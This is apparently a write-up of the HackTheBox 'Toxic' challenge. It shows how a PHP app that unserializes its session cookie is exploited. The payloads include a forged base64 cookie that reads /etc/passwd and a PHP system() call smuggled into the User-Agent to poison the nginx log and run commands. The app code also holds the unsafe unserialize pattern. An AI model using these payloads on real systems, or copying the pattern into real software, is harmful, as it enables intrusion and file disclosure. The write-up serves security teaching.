PHP Insecure Deserialization

card This is a WriteUp of the HTB Challenge Toxic. The challenge is delivered with the full source code of the web application, written in PHP.

Enumeration

The application does a few interesting things. Inside of index.php we can see how the PHPSESSID cookie is generated. It sets the cookie to a base64 encoded serialization of the PageModel object.

<?php
spl_autoload_register(function ($name){
    if (preg_match('/Model$/', $name))
    {
        $name = "models/${name}";
    }
    include_once "${name}.php";
});

if (empty($_COOKIE['PHPSESSID']))
{
    $page = new PageModel;
    $page->file = '/www/index.html';

    setcookie(
        'PHPSESSID', 
        base64_encode(serialize($page)), 
        time()+60*60*24, 
        '/'
    );
} 

$cookie = base64_decode($_COOKIE['PHPSESSID']);
unserialize($cookie);

If we look at the PageModel class, we see the following:

<?php
class PageModel
{
    public $file;

    public function __destruct() 
    {
        include($this->file);
    }
}

A PageModel object contains a file. This file is included as soon as the object ist destroyed. Since the file set at the creation of the object is /www/index.html, this leads to the file being displayed in the browser.

If we intercept a GET request with Burp, we can see the cookie, which was set:

Alt text

Decoding the PHPSESSID, we can see the serialized PageModel object.

$ echo "Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxNToiL3d3dy9pbmRleC5odG1sIjt9" | base64 -d
O:9:"PageModel":1:{s:4:"file";s:15:"/www/index.html";}

Exploitation

Using all of this information, we can see that this website is vulnerable to Local File Inclusion (LFI) by changing the PHPSESSID cookie to contain a different file than /www/index.html. When our changed PageModel object gets deserialized, the __destruct() method on it gets called and the file gets included, which leads to it being displayed on the website.

$ echo -n 'O:9:"PageModel":1:{s:4:"file";s:11:"/etc/passwd";}' | base64
Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxMToiL2V0Yy9wYXNzd2QiO30=

Alt text

As we can see in entrypoint.sh the flag gets generated with five random characters at the end of the file name. This means we can’t just include it directly but have to get Remote Command Execution (RCE) on the box first.

#!/bin/ash

# Secure entrypoint
chmod 600 /entrypoint.sh

# Generate random flag filename
mv /flag /flag_`cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 5 | head -n 1`

exec "$@"

To get RCE from LFI, we can include the access log of the webserver /var/log/nginx/access.log in the PHPSESSID and sneak some PHP code into our user agent: User-Agent: <?php system('ls -l /');?>. This gets executed, as soon as the file is included. Important to note is, that the result of the RCE is only visible after sending a second GET request, because the entry to the log is made after it is already included.

$ echo -n 'O:9:"PageModel":1:{s:4:"file";s:25:"/var/log/nginx/access.log";}' | base64
Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoyNToiL3Zhci9sb2cvbmdpbngvYWNjZXNz
LmxvZyI7fQ==

Alt text

Now we see the flag file flag_i6VvW, which we now can look at.

Alt text

Updated: